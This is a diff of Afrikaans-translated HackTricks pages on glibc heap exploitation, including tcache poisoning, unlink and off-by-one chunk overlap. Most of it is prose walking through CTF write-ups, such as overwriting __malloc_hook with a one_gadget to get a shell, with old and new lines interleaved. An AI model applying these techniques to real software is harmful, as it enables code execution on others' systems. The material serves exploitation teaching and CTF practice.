* Let op hoe die groottes van die aanvanklik toegewysde stukke1, 2, 5 en 3 plus die koppe van 4 van daardie stukke gelyk is aan `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
* Dan word stuk 4 vrygestel, wat 'n stuk genereer wat al die stukke tot by die begin verbruik:
* Dan word die null off-by-one misbruik deur stuk3 (0x1f8) te misbruik deur die prev\_size na `0x4e0` te skryf.
* Let op hoe die groottes van die aanvanklik toegewysde stukke 1, 2, 5 en 3 plus die koppe van 4 van daardie stukke gelyk is aan `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
* Dan word stuk 4 vrygelaat, wat 'n stuk genereer wat al die stukke tot by die begin verbruik:
* ```python
[ 0x4e0 Stuk 1-2-5-3 (vry) ] [ 0xf0 Stuk 4 (beskadig) ] [ 0x400 Stuk verdediging ]
```
@ -118,20 +119,21 @@ Hierdie beeld verduidelik perfek die aanval:
```
* Dan word `0x200` byte toegewys wat die oorspronklike stuk 1 vul
* En nog 0x200 byte word toegewys en stuk2 word vernietig en daar is dus geen lek nie en dit werk nie? Miskien moet dit nie gedoen word nie
* Dan word 'n stuk met 0x58 "a"s toegewys (wat stuk2 oorskryf en stuk5 bereik) en die `fd` van die vinnige bin-stuk van stuk5 word gewysig sodat dit na `__malloc_hook` wys
* Dan word 'n ander stuk met 0x58 "a"s toegewys (wat stuk2 oorskryf en stuk5 bereik) en die `fd` van die vinnige bin-stuk van stuk5 word gewysig sodat dit na `__malloc_hook` wys
* Dan word 'n stuk van 0x68 toegewys sodat die vals vinnige bin-stuk in `__malloc_hook` die volgende vinnige bin-stuk is
* Laastens word 'n nuwe vinnige bin-stuk van 0x68 toegewys en `__malloc_hook` word oorskryf met 'n `one_gadget`-adres
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Oor-skryf van 'n vrygemaakte stuk
# Oorskryf van 'n vrygemaakte stuk
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
Verskeie van die voorgestelde heap-uitbuitingstegnieke moet in staat wees om aanwysers binne vrygemaakte stukke te oorskryf. Die doel van hierdie bladsy is om die potensiële kwesbaarhede wat hierdie toegang kan verleen, saam te vat:
@ -22,26 +23,27 @@ As dit vir die aanvaller moontlik is om **inligting in 'n vry stuk te skryf**, k
### Dubbele Vrygawe
As die aanvaller **twee keer dieselfde stuk kan `vry`** (moontlik ander stukke tussenin vrymaak) en dit **2 keer in dieselfde bak kan wees**, sou dit moontlik wees vir die gebruiker om **later die stuk toe te ken**, **die nodige aanwysers te skryf** en dit dan weer toe te ken wat die aksies van die stuk wat toegeken word, sal aktiveer (bv. vinnige bak-aanval, tcache-aanval...)
As die aanvaller kan **`free` twee keer dieselfde stuk** (ander stukke tussenin vrymaak moontlik) en dit **2 keer in dieselfde bin** kan maak, sou dit moontlik wees vir die gebruiker om later die stuk toe te ken, die nodige aanwysers te skryf en dit dan weer toe te ken wat die aksies van die stuk wat toegeken word, sou aktiveer (bv. vinnige bin-aanval, tcache-aanval...)
### Heap-oorvloei
Dit mag moontlik wees om 'n toegewysde stuk te **oorvloei met 'n vrygemaakte stuk daarna** en sommige koppe/aanwysers daarvan te wysig.
Dit mag moontlik wees om 'n toegewysde stuk te **oorvloei met 'n vrygemaakte stuk** en sommige koppe/aanwysers daarvan te wysig.
### Af-by-een-oorvloei
In hierdie geval sou dit moontlik wees om die **grootte van die volgende stuk in die geheue te wysig**. 'n Aanvaller kan dit misbruik om 'n toegewysde stuk 'n groter grootte te gee, dit dan **`vry`** maak, sodat die stuk by 'n bin van 'n ander grootte (groter) gevoeg word, dan die **vals grootte** toe te ken, en die aanval sal toegang hê tot 'n **stuk met 'n grootte wat groter is** as wat dit werklik is, wat dus 'n oorvleuelende stukke-situasie verleen, wat op dieselfde manier uitgebuit kan word as 'n **heap-oorvloei** (kyk na vorige afdeling).
In hierdie geval sou dit moontlik wees om die **grootte te wysig** van die volgende stuk in die geheue. 'n Aanvaller kan dit misbruik om 'n toegewysde stuk 'n groter grootte te gee, dit dan **`free`**, sodat die stuk bygevoeg word by 'n bin van 'n ander grootte (groter), dan die **vals grootte** toe te ken, en die aanval sal toegang hê tot 'n stuk met 'n grootte wat groter is as wat dit werklik is, wat dus 'n oorvleuelende stukke-situasie verleen, wat op dieselfde manier uitgebuit kan word as 'n **heap-oorvloei** (kyk na vorige afdeling).
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Tcache Bin Aanval
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Controleer de [**abonnementsplannen**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
@ -22,38 +23,51 @@ Vir meer inligting oor wat 'n Tcache-bin is, kyk na hierdie bladsy:
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
Eerstens, let daarop dat die Tcache in Glibc weergawe 2.26 ingevoer is.
Eerstens, let daarop dat die Tcache in Glibc-weergawe 2.26 ingevoer is.
Die **Tcache-aanval** (ook bekend as **Tcache-vergiftiging**) voorgestel in die [**guyinatuxido-bladsy**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) is baie soortgelyk aan die vinnige bin-aanval waar die doel is om die wyser na die volgende blok in die bin binne 'n vrygemaakte blok te oorskryf na 'n arbitrêre adres sodat dit later moontlik is om daardie spesifieke adres toe te ken en moontlik wysers te oorskryf.
Die **Tcache-aanval** (ook bekend as **Tcache-vergiftiging**) voorgestel in die [**guyinatuxido-bladsy**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) is baie soortgelyk aan die vinnige bin-aanval waar die doel is om die aanwysers na die volgende blok in die bin binne 'n vrygemaakte blok te oorskryf na 'n willekeurige adres sodat dit later moontlik is om daardie spesifieke adres toe te ken en moontlik aanwysers te oorskryf.
Tans, as jy die genoemde kode hardloop, sal jy die fout kry: **`malloc(): unaligned tcache chunk detected`**. Dus, dit is nodig om 'n uitgelyste adres in die nuwe wyser 'n uitgelyste adres te skryf (of genoeg keer die binêre uit te voer sodat die geskrewe adres eintlik uitgelyst is).
Tans, as jy die genoemde kode hardloop, sal jy die fout kry: **`malloc(): unaligned tcache chunk detected`**. Dus moet 'n uitgelyste adres geskryf word in die nuwe aanwyser 'n uitgelyste adres (of voer die binêre genoeg keer uit sodat die geskrewe adres eintlik uitgelyst is).
### Tcache indeksaanval
### Tcache-indekse-aanval
Gewoonlik is dit moontlik om aan die begin van die heap 'n blok te vind wat die **hoeveelheid blokke per indeks** binne die tcache bevat en die adres na die **hoofblok van elke tcache-indeks**. As dit om een of ander rede moontlik is om hierdie inligting te wysig, sou dit moontlik wees om **die hoofblok van 'n sekere indeks na 'n gewenste adres te laat wys** (soos `__malloc_hook`) sodat 'n blok van die grootte van die indeks toegewys kan word en die inhoud van `__malloc_hook` in hierdie geval oorskryf kan word.
Gewoonlik is dit moontlik om aan die begin van die heap 'n blok te vind wat die **aantal blokke per indeks** binne die tcache bevat en die adres na die **hoofblok van elke tcache-indeks**. As dit om een of ander rede moontlik is om hierdie inligting te wysig, sou dit moontlik wees om **die hoofblok van 'n sekere indeks na 'n gewenste adres te laat wys** (soos `__malloc_hook`) sodat 'n blok van die grootte van die indeks toegewys kan word en die inhoud van `__malloc_hook` in hierdie geval oorskryf kan word.
## Voorbeelde
* CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html)
* **Libc inligtingslek**: Dit is moontlik om die tcaches te vul, 'n blok by die ongesorteerde lys te voeg, die tcache leeg te maak en die blok van die ongesorteerde bin te **herallokeer** deur slegs die eerste 8B te oorskryf, waar die **tweede adres na libc van die blok ongeskonde bly sodat ons dit kan lees**.
* **Tcache-aanval**: Die binêre is kwesbaar vir 'n 1B-heap-oorvloei. Dit sal misbruik word om die **grootte-kop** van 'n toegewysde blok te verander om dit groter te maak. Dan sal hierdie blok **vrygemaak** word, dit by die tcache van blokke van die valse grootte voeg. Dan sal ons 'n blok met die vervalste grootte toewys, en die vorige blok sal **teruggegee word met die wete dat hierdie blok eintlik kleiner was** en dit bied die geleentheid om **die volgende blok in die geheue te oorskryf**.\
Ons sal dit misbruik om **die FD-wyser van die volgende blok te oorskryf** om te wys na **`malloc_hook`**, sodat dit moontlik is om 2 wysers toe te ken: eerste die regte wyser wat ons net gewysig het, en dan sal die tweede toekenning 'n blok in **`malloc_hook`** teruggee wat dit moontlik is om te misbruik om 'n **een gadget** te skryf.
* **Libc-inligtingslek**: Dit is moontlik om die tcaches te vul, 'n blok by die ongesorteerde lys te voeg, die tcache leeg te maak en die blok van die ongesorteerde bin **her toe te ken** deur slegs die eerste 8B te oorskryf, waar die **tweede adres na libc van die blok ongeskonde bly sodat ons dit kan lees**.
* **Tcache-aanval**: Die binêre is kwesbaar vir 'n 1B-heap-oorvloei. Dit sal misbruik word om die **grootte-kop** van 'n toegewysde blok te verander om dit groter te maak. Dan sal hierdie blok **vrygestel** word, dit by die tcache van blokke van die valse grootte voeg. Dan sal ons 'n blok met die vervalste grootte toewys, en die vorige blok sal **teruggegee word met die wete dat hierdie blok eintlik kleiner was** en dit bied die geleentheid om **die volgende blok in die geheue te oorskryf**.\
Ons sal dit misbruik om die volgende blok se FD-aanwyser te **oor te skryf om na `malloc_hook` te wys**, sodat dit moontlik is om 2 aanwysers toe te ken: eerste die regte aanwyser wat ons net gewysig het, en dan sal die tweede toekenning 'n blok in **`malloc_hook`** teruggee wat dit moontlik is om te misbruik om 'n **een gadget** te skryf.
* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html)
* **Libc inligtingslek**: Daar is 'n gebruik na vry en 'n dubbele vry. In hierdie skrywe het die skrywer 'n adres van libc gelekte deur die adres van 'n blok in 'n klein bin te lees (soos om dit van die ongesorteerde bin te lek, maar van die klein een)
* **Tcache-aanval**: 'n Tcache word uitgevoer deur 'n **dubbele vry**. Dieselfde blok word twee keer vrygemaak, sodat binne die Tcache die blok na homself sal wys. Dan word dit toegewys, sy FD-wyser word gewysig om te wys na die **vry-waarde** en dan word dit weer toegewys sodat die volgende blok in die lys in die vry-waarde sal wees. Dan word dit ook toegewys en dit is moontlik om die adres van `system` hier te skryf sodat wanneer 'n malloc wat `"/bin/sh"` bevat, vrygemaak word, kry ons 'n skul.
* **Libc-inligtingslek**: Daar is 'n gebruik na vry en 'n dubbele vrylating. In hierdie uiteensetting het die skrywer 'n adres van libc gelekte deur die adres van 'n blok in 'n klein bin te lees (soos om dit van die ongesorteerde bin te lek, maar van die klein een)
* **Tcache-aanval**: 'n Tcache word uitgevoer deur 'n **dubbele vrylating**. Dieselfde blok word twee keer vrygestel, sodat binne die Tcache die blok na homself sal wys. Dan word dit toegewys, sy FD-aanwyser word gewysig om na die **vrye haak** te wys en dan word dit weer toegewys sodat die volgende blok in die lys in die vrye haak sal wees. Dan word dit ook toegewys en dit is moontlik om die adres van `system` hier te skryf sodat wanneer 'n malloc wat `"/bin/sh"` bevat, vrygestel word, kry ons 'n skul.
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html)
* Die hoofkwesbaarheid hier is die vermoë om enige adres in die heap te `vry` deur sy offset aan te dui
* **Tcache-indeksaanvalle**: Dit is moontlik om 'n blok van 'n grootte toe te ken en vry te maak wat wanneer dit binne die tcache-blok gestoor word (die blok met die inligting van die tcache-binne) 'n **adres met die waarde 0x100** sal genereer. Dit is omdat die tcache die hoeveelheid blokke in elke bin in verskillende bytes stoor, daarom genereer een blok in een spesifieke indeks die waarde 0x100.
* Dan lyk hierdie waarde asof daar 'n blok van grootte 0x100 is. Dit maak dit moontlik om dit te misbruik deur hierdie adres te `vry`. Dit sal **daardie adres by die indeks van blokke van grootte 0x100 in die tcache voeg**.
* Dan, **'n blok van grootte 0x100 toewys**, sal die vorige adres as 'n blok teruggee, wat dit moontlik maak om ander tcache-indekse te oorskryf.\
Byvoorbeeld om die adres van malloc hook in een van hulle te plaas en 'n blok van die grootte van daardie indeks toe te ken, sal 'n blok in calloc hook gee, wat dit moontlik maak om 'n een gadget te skryf om 'n s-skulp te kry.
* Die hoofkwesbaarheid hier is die vermoë om enige adres in die heap vry te stel deur sy offset aan te dui
* **Tcache-indekse-aanval**: Dit is moontlik om 'n blok van 'n grootte toe te ken en vry te stel wat wanneer dit binne die tcache-blok gestoor word (die blok met die inligting van die tcache-binne) 'n **adres met die waarde 0x100** sal genereer. Dit is omdat die tcache die aantal blokke in elke bin in verskillende bytes stoor, daarom genereer een blok in een spesifieke indeks die waarde 0x100.
* Dan lyk hierdie waarde asof daar 'n blok van grootte 0x100 is. Dit maak dit moontlik om dit te misbruik deur hierdie adres te `vry` maak. Dit sal **daardie adres by die indeks van blokke van grootte 0x100 in die tcache voeg**.
* Dan, **toekenning** van 'n blok van grootte **0x100**, sal die vorige adres as 'n blok teruggegee word, wat dit moontlik maak om ander tcache-indekse te oorskryf.\
Byvoorbeeld om die adres van malloc-haak in een van hulle te plaas en 'n blok van die grootte van daardie indeks toe te ken, sal 'n blok in calloc-haak gee, wat dit moontlik maak om 'n een gadget te skryf om 'n s-skulp te kry.
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html)
* Dieselfde kwesbaarheid as voorheen met een ekstra beperking
* **Tcache-indeksaanvalle**: Soortgelyke aanval as die vorige een maar met minder stappe deur **die blok wat die tcache-inligting bevat vry te maak** sodat sy adres by die tcache-indeks van sy grootte gevoeg word sodat dit moontlik is om daardie grootte toe te ken en die tcache-blok inligting as 'n blok te kry, wat dit moontlik maak om die vry-waarde as die adres van een indeks by te voeg, dit toe te ken, en 'n een gadget daarop te skryf.
* **Tcache-indekse-aanval**: Soortgelyke aanval aan die vorige een maar met minder stappe deur **die blok wat die tcache-inligting bevat vry te stel** sodat sy adres by die tcache-indeks van sy grootte gevoeg word sodat dit moontlik is om daardie grootte toe te ken en die tcache-blok inligting as 'n blok te kry, wat dit moontlik maak om die vrye haak as die adres van een indeks by te voeg, dit toe te ken, en 'n een gadget daarop te skryf.
* [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
* **Skryf Na Vry** om 'n nommer by die `fd`-wyser te voeg.
* Baie **heap feng-shui** is nodig in hierdie uitdaging. Die skrywe wys hoe **die beheer van die kop van die Tcache vry-lys baie handig is**.
* **Skryf Na Vry** om 'n nommer by die `fd`-aanwyser te voeg.
* Baie **heap feng-shui** is nodig in hierdie uitdaging. Die uiteensetting wys hoe **die beheer van die kop van die Tcache-vry-lys baie handig is**.
* **Glibc-lek** deur `stdout` (FSOP).
* **Tcache-vergiftiging** om 'n arbitrêre skryfprimitief te kry.
* **Tcache-vergiftiging** om 'n willekeurige skryfprimitief te kry.
{% hint style="success" %}
Leer & oefen AWS Hack: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**abonnementsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Unlink Aanval
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Basiese Inligting
Toe hierdie aanval ontdek is, het dit meestal 'n WWW (Write What Where) toegelaat, maar sommige **kontroles is bygevoeg** wat die nuwe weergawe van die aanval interessanter en meer kompleks en **nutteloos** maak.
### Kode Voorbeeld:
### Kodevoorbeeld:
<details>
@ -95,7 +96,7 @@ return 0;
Hierdie aanval maak dit moontlik om **'n aanwyser na 'n blok te verander om 3 adresse voor homself te wys**. As hierdie nuwe ligging (omgewing waar die aanwyser geleë was) interessante dinge bevat, soos ander beheerbare toekenning / stapel..., is dit moontlik om hulle te lees/oor te skryf om 'n groter skade te veroorsaak.
* As hierdie aanwyser in die stapel geleë was, omdat dit nou 3 adresse voor homself wys en die gebruiker dit moontlik kan lees en wysig, sal dit moontlik wees om sensitiewe inligting uit die stapel te lek of selfs die terugkeeradres (miskien) te wysig sonder om die kanarie aan te raak
* As hierdie aanwyser in die stapel geleë was, omdat dit nou 3 adresse voor homself wys en die gebruiker dit moontlik kan lees en wysig, sal dit moontlik wees om sensitiewe inligting uit die stapel te lek of selfs die terugkeeradres te wysig (miskien) sonder om die kanarie aan te raak
* In CTF-voorbeelde is hierdie aanwyser geleë in 'n reeks aanwysers na ander toekenning, daarom, deur dit 3 adresse voor te maak en dit te kan lees en skryf, is dit moontlik om die ander aanwysers na ander adresse te laat wys.\
Aangesien die gebruiker moontlik ook die ander toekenning kan lees/skryf, kan hy inligting lek of nuwe adresse in willekeurige ligginge oorskryf (soos in die GOT).
@ -109,8 +110,8 @@ Aangesien die gebruiker moontlik ook die ander toekenning kan lees/skryf, kan hy
* Daar is 'n paar blokke (blok1 en blok2)
* Die aanvaller beheer die inhoud van blok1 en die koppe van blok2.
* In blok1 skep die aanvaller die struktuur van 'n vals blok:
* Om beskermings te omseil, maak hy seker dat die veld `grootte` korrek is om die fout te vermy: `corrupted size vs. prev_size while consolidating`
* en die velde `fd` en `bk` van die vals blok wys na waar blok1 se aanwyser gestoor word met 'n verskuiwings van -3 en -2 onderskeidelik sodat `vals_blok->fd->bk` en `vals_blok->bk->fd` na 'n posisie in die geheue (stapel) wys waar die werklike blok1-adres geleë is:
* Om beskermings te omseil, maak hy seker dat die veld `grootte` korrek is om die fout te vermy: `korrupte grootte vs. vorige_grootte tydens konsolidasie`
* en velde `fd` en `bk` van die vals blok wys na waar blok1 se aanwyser gestoor word met 'n afstande van -3 en -2 onderskeidelik sodat `vals_blok->fd->bk` en `vals_blok->bk->fd` na 'n posisie in die geheue (stapel) wys waar die werklike blok1-adres geleë is:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
@ -130,22 +131,8 @@ Aangesien die gebruiker moontlik ook die ander toekenning kan lees/skryf, kan hy
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Alhoewel dit vreemd sou wees om 'n ontkoppelingsaanval selfs in 'n CTF te vind, hier is 'n paar skrywes waar hierdie aanval gebruik is:
* CTF-voorbeeld: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
